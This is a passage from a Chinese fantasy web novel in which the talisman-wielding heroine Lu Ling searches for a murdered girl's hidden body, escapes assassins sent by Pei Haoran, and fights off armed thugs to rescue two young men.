裴昊然心里清楚,鹿翎已经觉察到所有猫腻。 她短短几句话,精准戳破自己掩盖的真相,以她现在的本事,用不了多久就能彻底查到底,扒出裴耀阳害死林小满的事实。 一旦事情败露,不仅裴耀阳毁了,他自己也没了,整个裴家的声誉、根基都会遭受重创。 鹿翎太过棘手。 如今她又执意和裴家作对,留着她,迟早成为裴家最大的祸害。 至于爸那边,他自然有办法说服他。 裴昊然眼底杀意骤现,周身寒气凛冽。 他不再犹豫,指尖重重碾过手机边缘,指尖因为用力变白。 他当即翻出通讯录,一串没备注的电话号码,按下拨出键时。 电话接通的瞬间,他没给对方任何寒暄的机会,声音冷得能冻死人,“帮我办件事,等会资料发给你。” “不过我要提醒你一句,她不是普通人,你们做事时小心点,她会有一点邪门歪道。” 顿了顿,他补充道,语气透着狠厉,“记住要处理干净。” 不知道对方说了什么,他眼底闪过一丝快意。 挂断电话后,他抬头看向窗外。 高楼大厦,城市的霓虹灯层层叠叠铺展开来,流光溢彩。 裴昊然靠在真皮座椅上,指尖漫不经心地敲击着桌面,眼底盛满冰冷的算计。 外人只知裴家体面光鲜,却无人知晓这光鲜外壳下藏着多少龌龊与阴暗。 他回想起鹿翎自从回来后,把裴家搅得天翻地覆,心里的火气再度涌了上来。 鹿翎,你就等死吧。 裴昊然嘴角勾出冰冷的弧度。 —— 鹿翎站在路边,兜里的东西在震动。 是手机。 有人给她打电话了。 拿出来一看备注。 是裴天逸。 算了,不接。 她是吃饱了没事儿做,接他的电话。 她打算就在林建国家附近找一个简陋的地方住着。 这三天,她要做的事就是去找林小满的尸体。 让伤害她的人付出代价。 这是她答应林小满的。 就算林小满入轮回,她也不能食言。 第62章:我要你的头发 鹿翎指尖干脆利落地划过屏幕,直接拒接了裴天逸的来电。 裴家上下没一个人值得她耗费精力。 她抬头,打量周边。 这片老旧居民区遍布低矮商铺,巷口临街处就开着一家老式小旅店,门头破旧,价格低廉。 鹿翎径直走进去。 柜台后坐着位中年女人,皮肤发黄,眼神浑浊。 鹿翎上前办理入住,简单登录信息。 大婶全程没说话,目光却频频偏移,视线落在鹿翎身上,打量得极其不自然,从上到下扫了好几遍,带着不加掩饰地窥探。 鹿翎不动声色地皱了皱眉,面无表情接过房卡,没有多余交流,直接上楼进了房间。 房间狭小简陋,陈设陈旧,墙面微微泛黄,原本床上的四件套发灰。 鹿翎随手关上房门,落锁,从随身携带的帆布小包里取出两张叠放整齐的符箓。 一张通体素白,纹路浅淡,是静音符。 一张朱砂饱满,灵气充盈,是幻化符。 她指尖捏着符纸,随手贴在房门内侧。 符箓触壁即融,无声无息散开一层结界,隔绝了走廊所有声音,以及外面街道的声音。 整间屋子瞬间死寂安静,里外彻底隔音,什么动静都没法穿透进来。 做完防护,她抬手捏住那张幻化符。 幻化符妙用极强,随心而动,可幻化万物。 鹿翎眸光微淡,心念一动。 指尖符箓微光乍现,淡色灵光散落床铺之上。 原本成就暗沉,褶皱脏乱的床单被套瞬间消失,转瞬之间,一套干净素雅的纯白色四件套平铺舒展。 面料平整柔软,干净清爽,看着整洁又简洁。 不过眨眼间,简陋破败的床铺焕然一新。 她顺手心念再动,又借着符箓剩下的灵力幻化出一张薄毯,一个抱枕,随意搭在床头。 狭小破旧的房间,退去了廉价邋遢的感觉。 收拾妥当,鹿翎收了手。 对比起她回裴家,在裴家房间待着不舒服的感觉。 她宁愿浪费两张符纸,也不愿意在裴家待着。 很不舒服。 而且她要在这个地方要住上一晚。 两张符,换一晚安稳地方,还是挺划算的。 而且两张空白符纸也不贵。 耗费的是她自身的灵力。 灵力东西休息好了就有了。 所以也不是很值钱。 当然,她现在是这么说。 以后难保不换个说法。 一夜安然度过。 第二天清晨,天色微亮,温度还不是很高。 鹿翎简单收拾过后,独自前往附近的建筑工地。 林建国常年在此务工,这里也是林小满生前时常过来探望父亲的地方,想要找到林小满的尸体,最先要找的人就是他。 工地大门敞开,机器声很嘈杂,尘土飞扬 遍地都是做工的中年工人,大多数常年在外打工,生活枯燥单一。 鹿翎身形清瘦,容貌出众,一身干净素雅的穿搭,和满是尘土粗犷的工地格格不入。 她刚走进工地范围,所有正在休息、干活的工人全部停下了动作。 数十道目光齐刷刷落在她身上。 不少工人明目张胆地打量,目光轻浮油腻,带着赤裸裸的审视,交头接耳,低声议论,言语粗俗。 也有少数人目光带着探究与好奇,疑惑这般好看的小姑娘为什么会独自来到脏乱的工地。 鹿翎全然无视周围的所有视线,面不改色,目光扫过人群,寻找林建国的身影。 片刻后,他在角落看到了正在收拾工具的林建国。 他穿着洗得发白的工装,脊背佝偻,眉眼疲惫。 一夜过去,眼底的红血丝依旧浓重,显然还没有从昨晚和女儿短暂重逢,转瞬别离的情绪里走出来。 鹿翎抬步,径直走到他面前。 林建国觉察出身边来人了,抬头看去,只看到一个陌生的小姑娘站在他旁边,眼中带着疑惑。 他放下手中的工具,站直身子,开口问道:“你姑娘,你找谁?” 鹿翎看着满脸沧桑的男人,语气平静,“我找你。” 林建国更加疑惑了,“找我?我们认识吗?你是...” 他脑子里完全不记得自己见过或者认识这个人。 鹿翎垂眸看着他眼底未散的疲惫,嗓音清冷,压过周围的窃窃私语,“你不认识我,但你的女儿认识我。” 话音刚落,林建国浑身一僵,喉结剧烈滚动了几下,“我的女儿...小满...” 昨天晚上短暂的重逢还历历在目。 他本来以为那只是一场过于真切的幻觉。 鹿翎轻轻颔首,目光平静的望着他失态的模样,没有多余的怜悯,只有一贯的淡然,“是她,昨夜我让她见了你最后一面。” “轰”的一声。 林建国踉跄着后退半步。 旁边不少看热闹的工人觉察出不对劲,纷纷停下闲聊,目光好奇地聚拢过来,交头接耳的声音越发稀碎。 “这姑娘到底是谁啊?” “听这话,好像认识老林过世的闺女。” “老林也太可怜了吧,好好的小姑娘,年纪轻轻就没了...” 窃窃私语的议论声钻入耳中,林建国全然听不进去。 他抬眼死死盯住鹿翎,眼底满是难以置信和恳切,“真的是她,不是我做梦,我还能再见到小满吗?” “不能。”鹿翎没有半分犹豫,干脆利落地拒绝,“人鬼殊途,昨天晚上已经是破例,阴阳相隔,她已经轮回投胎去了。” 林建国眼底亮起的微光,彻底熄灭,他神情落寞,“那你来找我是有什么事吗?” “我来找你是来问你要一样东西。” 林建国一愣,“什么东西。” “你的头发。” 林建国又是一愣,脸上写满错愕,下意识抬手摸了摸自己干枯杂乱的头发。 他常年在工地日晒雨淋,发丝粗糙干涩,夹杂着不少灰白,沾满尘土,寻常至极,毫无用处。 他实在想不通,为什么要他的头发? 用他的头发做什么? “我的头发?”他茫然重复了一遍,嗓音沙哑,“这东西...能有什么用?” 周围围着的工人听到更是一头雾水,议论声短暂停息,所有人的目光都牢牢锁在两人身上。 鹿翎直白解释,“丁小曼时候,他的尸体并没有找到,警方记录全都是造假,如果你们想找到他的尸体,寻常办法根本找不到。” 这话一出,林建国心口一沉。 虽然他同意了林小满是意外身亡,但林小满死后,她的尸体没找到。 这也是他的心结。 “是线索的,那只能走阴阳之法。”鹿翎字字清晰,“骨肉血亲,血脉同源,至亲的发丝、精血带着独一无二的血脉气息,可做引路媒介。” 第63章:问林建国要发丝 “阴阳寻人,最认血脉,天地万物皆有踪迹,人死不灭,躯体虽然被隐藏,但存留的生气与骨息不会彻底消散。” “你的头发是和林小满相连的血亲羁绊以此为引,便可穿透人为的屏蔽,定位到他被隐藏的尸体。” 这也是林小魂魄漂泊许久,却始终找不到自己躯体的原因。 她的尸体被人藏起来了,而且还藏得十分隐蔽。 不然警察怎么会找不到她的遗体在哪。 林建国听完,瞳孔微微震颤,瞬间明白了她的用意。 他女儿的尸体至今不明下落,竟然是被人藏到没人知晓的角落,不得入土,不得安宁。 巨大的酸涩和愧疚轰然降临到他的心头。 他活了大半辈子,没能给女儿优渥的生活,在他活着的时候,没人护他周全,让他含冤惨死,死后身体还要被人藏起来,尸骨飘零。 “好,好,好,我给。” 连说三个好字,林建国没有丝毫犹豫,猛然低下头,粗糙的手指直接薅下好几个带发嚢的发丝。 几根黑白交叉的发丝,被他小心翼翼地递到鹿翎面前,指尖都在发抖。 “够吗?不够我再多抽一点,只要能找到小满,只要能让我女儿入土为安,什么样都行!”他红着眼眶,声音带着哽咽,“姑娘,我求求你帮帮我,帮帮小满,他太苦了,死后连个归宿都没有。” 一直强撑的情绪在此刻不能崩塌。 每天的煎熬,无助,自责,堆积在一起,让这个饱经风霜的中年男人几乎抬不起头。 周围的工人此刻也彻底安静下来,没人在打趣窥探,一张张粗糙的脸沉默下来。 鹿翎抬手,指尖轻轻一勾,稳稳接过那几缕头发。 她将发丝收好,放进随身的帆布小包里,神色依旧平静,“放心,有你的头发做引领, 不会出错的,遗体会在三天内找到。” “不过我还是要提前告诉你。”鹿翎抬眸,直视他通红的双眼,直白道,“找到她遗体后,她死亡的真相也会浮出水面,而牵扯的风波不是你现在能抵挡的。” “你敢不敢跟凶手抗争到底?” 林建国脊背挺直,佝偻的肩头绷紧,猩红的眼中透着决绝,“我敢!我老婆、女儿的命都没了,我还有什么不敢?哪怕对方是天大的人物,我豁出我这条老命,也要对面付出代价。” 字字沉重,掷地有声。 鹿翎点点头,“东西我拿到了,既然没什么事,那我就先走了。” 没给林建国反映时间,她转身就走。 周遭一众工人不约而同侧身避让,自发腾出宽敞的通路。 少女周身清冷凛冽,自带神秘感的气场无声铺开,让人无人敢上前半分。 回到小旅馆后,电话再度打来。 依旧是裴天逸的电话。 她还是没接。 寻找林小满尸体需要晚上来做。 白天太阳高挂,阳气鼎盛,世间阴煞尽数潜藏蛰伏,亡者骨息被天光压制,根本无法牵引溯源。 强行施法只会损耗术力,彻底斩断残存的踪迹,到后面就会彻底找不到林小满的尸骨。 所以不能白天做,只能等到晚上,尤其是午夜十二点。 月落阴升,阴气最盛。 到那个时候就是施法的最佳时机。 剩下的时间,她就在小旅馆里好好坐着,准备好晚上需要用的东西。 其实需要的东西并不多。 两张符纸,一把铁锹,还有绳子,剩下的东西不用带。 符纸当然是施法用的,铁锹是挖尸体的,绳子是捞尸体用的。 上次在傅家用的取物符现在是不能用了,主要是万一在湖里,用这张符咒,湖底不知道有多少东西被取出来。 万一取出来些乱七八糟的东西就不好了。 而且,附近有条河。 尸体在河里面,用这张符咒,河里不知道有多少脏东西被符咒捞上来。 倒不如她准备一条绳子。 到时候用时,把绳子捆在符咒上,再多加一条捆物符,把尸体捞起来不就好了。 夜里十一点半,街道上已经没有行人了,路灯昏黄,有些灯还是烂的,一闪一闪,刺得眼睛疼。 鹿翎收拾好随身物件,一身简单肃静的衣衫,融入夜色,推门走出房间。 旅馆老板娘瞧见她这一身打扮,有些好奇地问道,“小姑娘,你这背着铁锹,拿着绳子准备去哪儿啊?” 鹿翎没过多解释,“有事。” 主要是跟他们说了,他们也不懂,还不如不说。 推门走出旅馆,周遭寂静无声,根本没有人。 可在没人看见的地方,旅馆斜对面的一个小巷子里。 两道通体黑衣的身影浮现。 两人藏在路灯照不到的死角,见旅馆有人出来,他们也跟着走了出来。 始终与前方的身影隔着一段不远不近的距离。 鹿翎找到一处没人的空旷工地,抬手将铁锹插在泥土里,把准备好的符纸和林建国的头发拿出来。 头发放在符纸正中央,绳子已经被捆在符纸尾端,等着时间到来。 午夜将至,月落星辰沉,天地间阳气散尽,浓郁的阴气开始席卷周围。 “天清地幽,月照九幽;血脉为媒,骨息为舟;三魂归体,七魄寻丘;奉我玄令,溯源直走;寻!” 鹿翎唇齿微动,低声念完最后一句引魂寻尸咒。 符箓无风微颤,林建国黑白交错的发丝静静窝在符纸中央。 原本素净的符纸瞬间亮起浓郁的朱砂红光纹路,尽数苏醒,蜿蜒扭转,点点灵光顺着中央的发丝不断蔓延。 发丝微微震颤,缕缕的血色气息从头发中溢出,化作一道道细碎的灰红气流,盘旋停留在空中。 气息在空中没动,左顾右盼,似乎在寻找什么。 鹿翎也不催,她抬头静静看着。 而那两道黑影一路尾随,远远跟在后方,一点动静都不敢闹出,静静观察。 不过在看到这幕后,面面相觑,满脸都是难以置信的表情。 裴总是说过他们杀的人会有点歪门邪道,但没想到,歪门邪道竟然是这些东西。 这般神异诡异的画面,也算是颠覆了他们的认知。 不过,他们的内心很快就调解好了。 裴总说起过,他们要杀的人不是普通人。 半空中,气流停滞片刻,便猛然掉转方向,朝鹿翎相反方向飘了过去。 第64章:围追堵截 鹿翎伸手拔出泥土里的铁锹,单手收好地面剩余的物件,脚步轻快,随着气流身后动身追去。 后方两道黑影不敢松懈,压着身形紧紧跟随。 全程屏息敛气,不敢发出半点脚步声,生怕让对面发现自己的存在。 目光死死锁定在前方少女和空中悬浮的诡异符纸上。 这一追,便是半个小时。 横穿空旷街道,远离工地区域,一路朝着城市另一个郊区跑。 来的地方,鹿翎很熟悉。 直到看见前方一座四合院,才发觉这里竟然是北郊区。 四合院没开灯,应该是没人在家。 不过气流并没有在这里停,而是朝着更深处飘去。 荒芜人员的郊外,道路荒芜崎岖,两侧草木丛生,夜色笼罩下黑压压一片,连路灯都没几个。 一路疾驰。最终悬浮在空中的气流带着绳子,直直冲进了一处废弃已久的郊外公园。 公园看起来已经荒废好多年了,歪七扭八百,遍地丛生的杂草,没过脚踝,老旧的观景树林,茂密幽深遮挡的所有夜色。 看起来就阴森森的。 应该是好多年都没人来过,所以没了阳气,阴气才这么重。 鹿翎脚步顿在公园入口,抬眼,看向漆黑幽深的树林。 而紧跟其后的两名黑衣人也立刻停止脚步,躲在远处的荒草之中,压低高大身形,观察鹿翎有何动作。 微光转瞬熄灭,整张引魂寻尸符毫无征兆地彻底消融,绳子落在草坪上。 整片北郊公园,只剩下簌簌作响的夜风和无边无际,死寂寒凉的阴气。 鹿翎皱眉。 这是怎么回事? 按常理来说,引魂寻尸符会精准地停在尸体所在的地方。 而不是消失在这么大的范围里边。 她总不能拿着铁锹一个一个地挖吧,那不知道要挖到什么时候,才能挖到尸体。 鹿翎再次拿起符纸,幸好头发她还留了几根,以做备用。 念完咒语后,符纸再度亮起。 让鹿翎感到意外的是,符箓竟然停留在原地,当着自己的面,消失了。 鹿翎:“???” 搞什么东西。 接连两次符箓消散,断了气流的踪迹。 鹿翎站在公园门口,眉眼微蹙,心底透着几分无奈和烦躁。 引魂寻尸术被她用,是百试百灵,极少出现这般失灵,无法定位的情况。 要么是此地布下了阵法,锁住气息;要么是有人刻意不择手段。 这两种哪一种,放在林小满身上都是不可能。 林小满算是普通家庭,裴昊然没必要为一个无名小辈的尸体做到如此地步。 偌大的公园范围极广,杂草丛生,泥土新旧交错。 鹿翎转头看了眼自己拿着的铁锹。 莫名有些怀疑人生。 不是。 如果说定位到精准地点,她还是会挖的,这点体力活又不是没干过。 但这么大的公园,让她一个地方一个地方地挖。 那倒不如她打电话叫别人来挖。 不过这地方就不能久留了。 万一别人问起来是怎么发现的? 她总不能说是符咒指引他来到这个地方的吧。 她第一次做这个,对别人这么说,被人教育了一番,还对着她妈余锦诗说,这孩子这么小,脑子就出现问题了,该带医院去看看。 本来她妈就不同意她做这个事。 毕竟对他们父母来说,别人说自己孩子脑子有问题,肯定是不高兴的。 那时候不知道她说了什么,余锦诗才让她继续做这个的。 鹿翎将铁锹扛在肩头,弯腰捡起落在草坪上的绳索。 另一只手拿出工作手机,准备边走边打个电话,边说明这边的情况。 可她刚抬脚,远处荒草中,两道蛰伏已久的黑影骤然动了。 鹿翎挑挑眉,没说话。 没有多余废话,其中一名黑衣人抬手一按腰间,“咔嗒”一声,冷铁脆响骤然炸开。 一根粗细堪比鹿翎小臂的伸缩铁棍瞬间弹出,通体精铁打造,看起来就很重。 另一个人同样抬手亮起短忍,刀锋锋利,寒光摄人。 两人一人持棍,一人拿刀,站在道路两边,封死了鹿翎的退路。 空气瞬间凝固,杀气铺天盖地朝鹿翎席卷而来。 男人垂眸盯着面前身形单薄的少女,嗓音沙哑冷硬,不带丝毫温度,“鹿翎小姐,请留步。” “留步?”鹿翎唇角勾起一抹弧度,嗓音清冷,带着漫不经心的漠然,丝毫没有感到死亡的恐惧,“两位藏了一路,从工地跟到这里,就为了杀我?” 两个黑衣人面色冷峻,没有多余的话。 拿棍子的男人手腕微沉,厚重的铁棍微微下压,沙哑的声音冷得刺骨,“鹿翎小姐识相的话,就不必我们动手。” 话音刚落,他脚掌猛然蹬地,身形前冲,厚重铁棍带着破风的呼啸声,正朝鹿翎方便横扫过去。 而站在他旁边的另一个拿刀的黑衣人,同步飞过去,角度刁钻,直指鹿翎要害。 就在两人即将近身的刹那,远处漆黑的郊区公路上,突然传来一阵密集刺耳的汽车轰鸣声。 轰鸣声响彻郊外,急促又猛烈,由远及近,越来越清晰。 两个黑衣人的动作骤然僵在半空,即将落下的攻势硬生生骤停。 两人神色同时一变,极其警惕地转头,望向公路尽头。 原本漆黑空旷、杳无人烟的北郊公路上,刺眼的车灯亮得吓人。 足足十几辆黑色轿车首尾相接,车速极快,轮胎摩擦地面,发出刺耳的声音。 而在十几辆车最前方,是一辆普通的不能在普通的大众车在疾驰逃窜。 车身颠簸,很明显是在躲避身后密密麻麻的围追车辆。 十几辆车死死咬住前方大众的车尾,穷追不舍,追逐的阵仗浩大,远远看去,就知道是一场声势不小的围堵追杀。 此地本是荒无人烟的废弃郊区,寻常时间连路人都看不见一个,更别说深夜里如此大规模的车辆追逐。 两名黑衣人本就是秘密截杀,行事最讲究隐蔽低调,不能被人发现。 眼前突如其来的车辆追逐,动静极大,一旦在这把鹿翎解决了,那肯定是要被人发现的。 两人对视一眼,瞬间打消了动手的念头,躲在一边,选择暂时避让。 鹿翎站在原地,将两人仓促避让的动作尽收眼底,清冷的眼眸微微一眯。 她没有动,肩头依旧稳稳扛着铁锹,指尖捏着纤细的绳索,静静望向远处公路上激烈的车流追逐。 第65章:把他许配给你 刺耳的引擎声越来越近,划破北郊郊外死寂的夜色。 前方仓皇逃窜的大众轿车。车身不断左右摇摆,轮胎在粗糙的柏油路面上发出刺耳的摩擦声。 开车的人显然是早已无路可逃,身后几十辆黑色轿车,紧紧逼近前后堵截,将他所有退路尽数封死。 视线尽头,唯有空旷无人能够暂显避险的位置,就只有废弃公园。 但门口却站立着一道单薄人影。 几乎没有丝毫犹豫,大众车猛地一打方向盘,车头偏转,朝着鹿翎所在的方向疾驰冲来。 车灯惨白刺眼,直直打在鹿翎身上,将他扛着铁锹的身影清晰映照在夜色里。 晚风掀起她的衣角,少女立在原地纹丝不动,眉眼清冷,五官精致如画,安静地看着极速朝自己冲来的轿车,没有躲避,没有退让。 躲在侧方荒草灌木丛中的两名黑衣人呼吸一致,脸色从凝重转为欣喜。 毕竟不用他们动手,就能完成他们的任务。 还是挺划算的。 厚重的车灯,破开隆重夜色。极速逼近,转瞬之间,大众车重重刹停。 “吱——!” 尖锐刺耳的刹车声骤然炸起,尘土顺着晚风扬起。 车身剧烈颠簸震颤,最终稳稳停在鹿翎身侧不到半米的位置。 车窗紧闭,看不清车内人的面容,只能隐约,看见驾驶位上的人微微弓着背,带着极致的慌乱与紧绷。 后座似乎还坐着个人。 而紧随其后的十几辆黑色轿车,速度丝毫不减,朝着他们这方向接踵而至。 数道刺眼的车灯瞬间聚拢,从四面八方席卷而来,精准围堵,没有给他们留下一丝缝隙。 一辆、两辆、三辆... 十余辆黑色轿车整齐地靠边、转弯、刹车、停住。 车身首尾相连,从公路左右前后彻底合拢,硬生生将这辆大众车,以及站在车旁的鹿翎,完完全全包围在正中心。 一瞬间万籁俱进。 震耳的轰鸣声平息,只剩下车辆怠速的低沉轰鸣,压在寂静的郊外。 刺眼的白光,车灯全部亮起,齐刷刷对准包围圈中央,将整片区域照得亮如白昼,连地面丛生的杂草纹路都清晰可见。 空气彻底凝滞。 原本藏在暗处的两名黑衣人暴露在车灯下余光下,草丛根本挡不住如此密集的明亮灯光。 两人身形僵住,眼底满是阴鸷与忌惮。 局面失控。 包围圈正中,鹿翎依旧身姿挺拔。 她肩头扛着老旧的铁锹,纤细指尖捏着绳索,身处在数十道冰冷车灯的聚焦下,被车辆围困,周身却不见半分慌乱。 少女眸光平静淡漠,缓缓抬眼,扫视着四周密不透风的黑色车墙。 夜色沉沉,寒光遍地。 僵持不过数秒,紧闭的大众车门率先被推开。 轻微的开门声在死寂的郊外格外清晰,打破了密不透风的压迫感,两道修长的身影先后从昏暗的车厢里跨了出来。 两人皆是极为出挑的样貌,骨相优越,气质迥异,单单立在那里,就足以压过周遭黑压压的车流肃杀。 最先下车的男人,身姿挺拔利落,眉眼张扬锋利,甩上车门时,动作散漫慵懒,带着十足的松弛。 丝毫不像是被追杀的人。 而另一位气质截然相反。 一身素雅黑衣,衬得皮肤过分苍白,周身萦绕着淡淡的病态倦怠,仿佛风一吹就会被吹飞。 微敛的眸子里氤氲着雾气,微扬的眼尾有些疏冷,眼型太过好看。 清冷俊秀,自带易碎又矜贵的病弱气场。 也是没看出来有危机感。 在两个男人下来后,那十几辆车也下来人了。 目测一辆车大概有三四个人。 短短几秒,三十多个人尽数下车,层层站定在车旁,围成密不透风的人墙。 所有人都是黑衣黑裤,身材魁梧高大,面色冷硬目光,目光死死锁在包围圈中的两人,煞气沉沉,扑面而来。 鹿翎目光先是落在最先下来的男人身上,不过一眼,就移到他身后的人身上。 鹿翎微微挑眉。 漂亮病秧子? 他怎么在这? 挺惨的。 被十几辆车围追堵截。 晚风浮动少女微垂的发丝,打破了这片窒息的沉默,不带半点身处包围圈的紧迫。 “你叫什么名字?” 总是叫漂亮病秧子也挺不好。 突如其来的问话,让漂亮病秧子微微一怔。 他没想到在这种场景下,这小姑娘还能从容不迫,问出他叫什么名字。 他本着着眼神情倦怠,疏离,似乎对四周成成包围的追兵毫无波澜。 闻言,他缓缓抬眸,视线落在鹿翎那种漂亮到极致的脸上,音色亲润,“薄靳言。” 话音刚落,旁边站姿散漫的男人立刻笑了一声,往前半步,狭长的眼尾满是戏谑。 他吊儿郎当地靠在车身,扫了一眼毫无惧色的鹿翎。 “咋了?”他挑眉,语气轻挑又张扬,“看上我家言哥了。” 他索性直起身,摊摊手,笑得肆意又散漫,全然无视四周黑压压的车队和人群,“只要你肯救我们一命,我就把他许配给你。” 这句话落下的瞬间,四周沉寂,骤然碎裂。 一众黑衣人手垂在身侧,个个面露讥笑,居高临下地睨着包围圈中单薄的少女,眼底满是不加掩饰的轻蔑。 “许配?真是天大的笑话,一个病秧子,一个落魄少爷,现在都自身难保了,还敢给人做赌注。” “笑死我了,谢二少都沦落到这种地步了,竟然还有心思开玩笑打趣。” “小姑娘,别痴心妄想了,这两个人今天必死无疑,谁来了都救不了。” “简直不知天高地厚,区区一个小姑娘,也敢掺和上层人的恩怨。” 讥讽、轻蔑的议论声层层叠叠,带着压倒性的威胁,所有人都笃定这场唯独已成定局,没有人能够逆天翻盘。 灌木丛里面藏着的两名黑衣人也眼底冷冽,暗自嗤笑,只当这两人是穷途末路,破罐子破摔。 全场嘲弄声之中,只有鹿翎神色未变,清冷的眉眼没一点起伏。 她看着身侧身形单薄,安静淡然的薄靳言,淡淡出声,语气冷静无比,“可以。” 第66章:救他们一命 简简单单两个字,瞬间压下了全场所有的笑声。 周遭刹那死寂。 所有人的笑意僵在脸上,一众黑衣人错愕地看向鹿翎,似乎不敢相信。 这个孤身一人,手里只握着一把老旧铁锹的小姑娘,竟敢接下这句话,敢插手他们的事。 靠在车边的谢二少也是一愣,眼底的细腻微微凝滞,随即勾起更深的笑,饶有兴致地打量着鹿翎。 而一旁的薄靳言,苍白的面容上终于泛起一丝细致的波澜,漆黑的眸子落在少女清冷的侧脸上,安静的看着他。 全场的戏谑嘲讽戛然而止。 四季瞬间笼罩整片郊外公路,所有黑衣人脸上的讥笑僵在脸上,一张张冷硬的面容上写满了难以置信。 谁都没料到,这样一个看着纤细柔弱,年岁尚轻的小姑娘,竟然敢一口应下这个荒唐的赌约,公然和他们30多个人对峙。 简直是不知死活。 杀两个人,杀三个人还是杀。 少杀一个和多杀一个有什么区别吗? 自然是没有的。 短暂的错愕过后,取而代之的是铺天盖地的阴狠与暴戾。 为首的黑衣头目,面色沉沉,眼底戾气暴涨,抬手冷喝一声,“分开动手!” 话音刚落,围站在外的三十多个黑衣人齐齐而动。 他们不是空手上前,而是纷纷从腰间抽出伸缩铁棍和短刀,金属利器在惨白的车灯下,折射出锋利的寒光,密密麻麻的刀刃棍棒对准中央,杀气滔天。 他们久经私斗,下手狠辣,每一个人都是经过专门训练,负责截杀的打手。 压根没将鹿翎一个小姑娘放在眼里,只当他是自寻死路。 身侧的谢二少收敛起所有笑意,脊背微崩,眼底闪过几分慌乱,“不是,我开玩笑的,你怎么还应下了,你一个小姑娘,就别瞎掺和了。” 鹿翎微微皱眉,“想反悔?” 谢二少一愣。 他实在是没想到,现在是性命攸关的时刻,这个被他拖下水的小姑娘,竟然还想的是自己有没有反悔。 “不是,你这注意力怎么不一样啊。” 鹿翎丝毫不在意,她没回话,垂在身侧的指尖微卷,动作隐蔽至极,无人察觉。 心念微动之间,一张符咒瞬间生效,细腻温润的灵气流淌,全身浸润四肢百骸。 这一刻,周围所有黑衣人的动作尽数放缓。 挥棍、拔刀、跨步的姿态清晰落入眼中,所有凌厉凶悍的姿势,变得笨拙迟缓。 她周身的重力仿佛消散,身形轻盈如絮,一举一动皆快出常人数倍。 就在最先是三名黑衣人手持铁棍直冲而来,铁棍带着破风声砸落的瞬间,鹿翎动了。 她轻点地面,身形侧滑,轻而易举避开三根同时落下的沉重铁棍。 “哐!” 三根铁棍重重砸在地面上,砸出的是石头碎屑溅得到处都是。 黑衣人一愣,没想到对方竟然躲开了他们的攻击。 趁对方还在愣神,鹿翎抬手握紧肩头的老旧铁锹,手腕翻转,横扫而出。 铁锹朴实无华,却带着极强的攻击力,精准扫在三人腰腹之间。 沉闷的撞击声接连响起,三名手持铁棍的壮汉闷哼出声,根本抵挡不住这股巨力。 身躯齐齐离地,踉跄着飞了出去。 众人皆是一愣,根本没有反应过来。 没想到一个看起来瘦弱不堪的小姑娘,竟然有这么快的速度和力量。 而极致身法增幅,动态视野放慢,平衡和柔韧拉满,消凝减负。 肉身蛮力暴涨,刚体抗压加持,重物随心操控以及重击破防效果。 没错。 她对自己使用了身法敏捷符和强力符。 她的速度已经很快了,再加上她原来就干过不少重力活。 现在两张符箓相辅相成,将她的力量与速度推至顶峰。 面对三人,倒是显得绰绰有余。 这批黑衣人挺看不起她的,分给她的只有三个打手。 解决完身前的敌人,鹿翎连头发色都没乱,转身,望向另一边岌岌可危的战局。 另一边,三十名黑衣人死死围堵着薄靳言与谢二少。 密密麻麻的凶器层层逼近,刀光凌冽,棍风刺骨,杀意步步逼近。 薄靳言身形清瘦单薄,看起来就体弱多病,却丝毫不见慌乱。 他步伐轻缓沉稳,身形微微侧转、后撤、闪避,总能精准卡在刀刃劈砍、铁棍横扫的间隙里。 每一次的刀光剑影、闷棍偷袭,他都能凭借精准的预判和克制身法从容躲开,动作安静,避开一轮又一轮的攻击。 只是长时间体虚,在持续闪躲之下,苍白的唇色又淡了几分。 黑衣人们见始终攻击不到薄靳言,有些急了,从而展开更严密的进攻。 就连攻击谢二少的人都少了许些。 毕竟他们的主要任务,还是要解决薄靳言。 谢二少的身手也不弱,好歹也是少爷,会点功夫也正常,应付打架颤抖颇有经验,但不过是些花拳绣贵罢了,面对有过训练的人还是不一样。 再加上对方人数问题,前后夹击,四面八方全是致命攻击,双拳难敌四手。 闪避得颇有些吃力,呼吸也开始变得急促,额角渗出薄汗,动作变慢。 好几次短刀都贴着脖子、心口这些致命位置堪堪擦过,险象环生。 根本没有余力反击,全程被死死压制,打得狼狈不堪。 混乱颤抖间,谢二少余光一瞥,精准落在了旁边静静看戏的鹿翎身上。 当即心态就炸了,一边仓促侧身躲避,一边拔高声音,又气又无奈地喊道:“不是!你怎么站在那纯看戏啊!” “咱们说好了,帮我们解决完这些人,我就把言哥许配给你,你这人咋出尔反尔?” 话音刚落,正在闪避攻势的薄靳言动作微顿。 眸子微微侧转,目光越过层层晃动的刀影,落在少女清冷安静的身影上,眼底掠过一丝极淡的细碎微光。 打斗声此起彼伏。 鹿翎站在战局之外,神色挺淡漠的,声音清晰穿透嘈杂的战局,“我看你们都能解决。” 谢二少一口气差点没上来,十分狼狈地躲开一记横扫而来的铁棍,心底直呼离谱。 能解决? 这叫能解决? 他全程被压着打,还可能随时会挨上一刀,也就言哥凭借逆天的预判躲避机制勉强撑住。 两人早就是强弩之末,根本撑不了多久。 这小姑娘到底是什么看出他们能解决战局的? 第67章:收钱放人 “大姐!你眼光能不能准点!”谢二少哭笑不得,气喘吁吁,“我们这叫勉强保命,不叫能解决!再看戏,我们三个今晚就得死在这!” 话音刚落,两名黑衣人抓住谢二少换气的空隙,对视一眼,猛然提速。 一记横扫砸在他腰侧,短刀直刺他小臂,攻势刁钻狠辣。 同一时间,围攻薄靳言的数名打手合力,三面夹击,数根铁棍和短刀同时封死他所有躲避方位,刀光合围,彻底封死退路。 两人同时陷入绝境。 眼见致命攻击近在咫尺,一直旁观看戏的鹿翎终于动了。 她眸色微沉,不在观望。 指尖灵力微动,符箓之力涌入周身。 下一瞬,少女身形破空而出,轻盈如风,快得只剩下一道残影。 她手持老旧铁锹,身姿利落凌厉,精准闯进密不透风的人墙中央。 “哐!哐!哐!” 接连数道厚重沉闷的撞击声骤然炸开。 凡事她铁锹扫过之处,近身的黑衣人扛不住巨力,身躯接连踉跄地飞出去。 不过瞬息之间,围攻薄靳言、偷袭谢二少的数名打手被击退。 原本密不透风的包围圈,硬生生被她一个人撕开一道宽阔的缺口。 漫天刀光棍影溃散。 尘埃落定。 鹿翎收住动作,扛着铁锹站在两人身前,身姿笔直,清冷的目光淡淡扫过四周面色惊变的剩余黑衣人。 全场死寂。 刚刚还险死还生的谢二少僵在原地,抹了把头上的冷汗,彻底失语。 身侧,薄靳言的眼眸牢牢锁定在站在自己面前的少女,一时间也没说话。 